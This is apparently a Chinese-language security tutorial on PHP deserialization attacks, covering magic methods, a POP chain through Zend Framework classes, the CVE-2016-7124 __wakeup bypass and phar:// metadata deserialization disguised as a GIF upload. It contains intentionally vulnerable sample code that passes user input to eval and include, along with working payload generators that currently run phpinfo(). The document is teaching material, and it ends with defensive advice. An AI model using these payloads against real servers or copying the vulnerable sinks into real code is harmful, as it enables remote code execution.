为什么要进行序列化与反序列化:序列化的目的是方便数据的传输和存储。
PHP文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是PHP的序列化,那么当我们下次要用的时候只要反序列化一下就ok了。
序列化:关键函数serialize():将PHP中创建的对象,变成一个字符串。
反序列化:关键函数unserialize():将经过序列化的字符串转换回PHP值
序列化只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:
(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在
反序列化就是将我们压缩格式化的对象还原成初始状态的过程,因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。
(2)我们在反序列化攻击的时候也就是依托类属性进行攻击
因为没有序列化方法,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身存在的方法,在基于属性被控制的情况下发动我们的反序列化攻击。
私有属性private和保护属性protected进行反序列化时,需要添加不可见字符。用空格表示不可见字符。可以成功。
url提交的时候,直接%00或者%20或者空格都能成功表示不可见字符。。。
然后那个PHP7的那个S的这个,s换成S,然后那个%00,空格。%20.这个不可见字符就可以用\00来表示了。
private属性序列化的时候格式是%00类名%00成员名
protected属性序列化的时候格式是%00*%00成员名
在使用GET传参时:在传入private属性的时候,应该是s:14:"%00Name%00username"会在属性名前加上类名,并且类名左右有%00。
protected属性也是应该是s:5:"%00*%00bb"会在属性名前面加上*,而且*两边有%00 。
所以真要GET传参的时候应该是:O:4:"Name":4:{s:14:"%00Name%00username";s:6:"nonono";s:14:"%00Name%00password";s:6:"yesyes";s:2:"aa";s:4:"aaaa";s:5:"%00*%00bb";s:4:"bbbb";}这个样子的。
反序列化漏洞就是我们可以通过控制unserialize函数的参数,修改后台源码所有类的任意属性值。sleep函数指定了那些类和属性需要进行序列化。
wakeup函数则为在反序列化之前恢复环境。
PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。需要具备反序列化漏洞的前提:必须有unserailize()函数;unserailize()函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数)。
(1)寻找unserialize()函数的参数是否有我们的可控点
(2)寻找我们的反序列化的目标,重点寻找wakeup()或destruct()魔法函数的类
(3)一层一层地研究该类地魔法方法中使用地属性和属性调用的方法,看看是否有可控的属性能实现当前调用的过程中触发的
(4)找到我们要控制的属性了以后我们就要将要用到的代码部分赋值下来,然后构造序列化,发起攻击。
(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2)wakeup() :unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
(7)sleep(),执行serialize()时,先会调用这个函数
其中我想特别说明一下第四点:
这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种
(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候
测试的结果:
_destruct了两次说明当时实际上有两个对象,一个就是实例化的时候创建对象,另一个就是反序列化后生成的对象。
测试代码
<?php class K0rz3n { private $test; public $K0rz3n = "i am K0rz3n"; function __construct() { $this->test = new L(); } function __destruct() { $this->test->action(); } } class L { function action() { echo "Welcome to XDSEC"; } } class Evil { var $test2; function action() { eval($this->test2); } } unserialize($_GET['test']);
分析上面的程序可以得到unserialize()函数的参数可以控制,也就是说我们能通过这个反序列化接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用)。destruct()函数只用了一个属性test,那我们控制这个属性就可以进行攻击了,我们看到在evil类中发现他的action函数调用了eval函数,那我们需要将K0rz3n这个类中的test属性篡改为evil这个类的对象,然后为了evil能执行命令,我们还要篡改evil对象的test2属性,将其改成我们的payload。
生成payload:
<?php class K0rz3n { private $test; function __construct() { $this->test = new Evil; } } class Evil { var $test2 = "phpinfo();"; } $K0rz3n = new K0rz3n; $data = serialize($K0rz3n); file_put_contents("seria.txt", $data); 由于test是私有属性,他有自己特殊的格式在前后加两个%00,所以我们在传输过程中绝对不能忘掉。
实际上是一个CVE漏洞,CVE-2016-7124.当成员属性数目大于实际数目时会跳过_wakeup的执行。
漏洞影响版本:PHP<5.6.25 PHP<7.0.10
_wakeup触发于unserialize()调用之前,但是如果被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup失效。
ROP的全称是面对返回编程,ROP链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,将这些本来无害的片段拼接起来,形成一个连续的层层递进的调用链,最终达到我们的执行libc中函数或者是systemcall的目的。
POP面向属性编程常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。
ROP是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。
1、POP链实战
现在我们就按照,我上面说的步骤来一步一步的分析这段代码,最终构造我们的 POP 链完成利用
这个我上面说了,我们假设已经在第一段代码里设置了参数可控的 unserialize() ,所以这一步就可以跳过
我们在第一段代码中寻找,我们发现一眼就看到了我们最想要看到的东西,__destruct() 魔法方法,好,既然这样我们就将这个类作为我们的漏洞嫌疑对象
1.我们就先来看一下这个 $write
,这个 $write
虽然不是属性,但是他是我们 $_write
属性的其中一部分,那么控制他也就等于控制属性,那我们就要好好研究一下这个 $write 了,他是什么呢?通过他能调用 shutdown() 来看,他是某一个类的一个对象,因为他不是单纯的属性所以我们还要向下挖
2.于是我们就要找一下定义 shutdown() 方法的类,然后我们就锁定了 Zend_Log_Writer_Mail 这个类,我们看到这个类里面使用了 $write 对象的很多属性,比如说 _layout ,然后我们又发现这个属性也调用了一个方法 render() ,说明这个属性其实也是一个对象,于是我们还要向更深处挖掘
3.那么 _layout 是谁的对象呢?我们发现他是 Zend_layout 的一个对象,同样的,他里面是用了一个 _inflector 的属性,这个属性调用了 filter 方法,看来他也是一个对象(有完没完~~)别急,我们继续向下
4.我们发现 _inflector 是 Zend_Filter_PregReplace 的一个对象,这个对象的一些属性是能进行直接控制的,并且在调用 filter 方法的时候能直接触发 preg_replace() 方法,太好了这正是我们想要的,我们只要控制这个对象的属性就能实现我们的利用链
最后一张 图片实际上已经将整个利用链画了出来,并且给上了 payload ,下面我想通过对整个 payload 的分析再来回顾一下整个 POP 链的调用过程
writer->shutdown()->render()->filter()->preg_replace(我们控制的属性)->代码执行
(1)首先我们必须有unserialize()函数
(2)unserialize()函数的参数必须可控
原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。
1.Phar的文件结构
phar文件最核心也是必须要有的部分(1) a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
(2)a manifest describing the contents
因为 Phar 本身就是一个压缩文件,它里面存储着其中每个被压缩文件的权限、属性等信息。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
(3)the file contents
被压缩文件内容
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
因为不是文本文件,我们使用hexdump看一下文件内容
可以清楚地看到我们的 TestObject 类已经以序列化的形式存入文件中
我们刚刚说过了,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
实例代码:
<?php class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
结果输出Destruct called
可以看出我们成功的在没有 unserailize() 函数的情况下,通过精心构造的 phar 文件,再结合 phar:// 协议,配合文件系统函数,实现了一次精彩的反序列化操作。
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头 $o = new TestObject(); $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
采用这种方法可以绕过很大一部分上传检测
4.1,利用条件
(1)phar文件要能够上传到服务器端。
(2)要有可用的魔术方法作为“跳板”。
(3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
4.2实战
前端的上传页面
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>ea3y_upload_file</title> </head> <body> <form action="http://localhost/ctf/phar/upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="upload" /> </form> </body> </html>
后台的检测页面,先限制好只能传gif
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]."<br>"; echo "Type: " . $_FILES["file"]["type"]."<br>"; echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>"; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
后台解析文件的php
$filename=$_GET['filename']; class AnyClass{ function __destruct() { eval($this ->data); } } include ($filename);
emmm,可以看到,类里面有个魔幻函数,同时还有一句eval,甚至还能给你一句include,没错,就是它了
自己打一个生成phar的文件
class AnyClass{ function __destruct() { eval($this -> data); } } $phar = new Phar('phar2.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> data = 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息
执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问
1、严格的把控unserailize()函数的参数,不要给攻击者任何输入的可能
2、在文件系统函数的参数可控时,对参数进行严格的过滤
3、严格检查上传文件的内容,而不是只检查文件头
4、在条件允许的情况下禁用可执行系统命令、代码的危险函数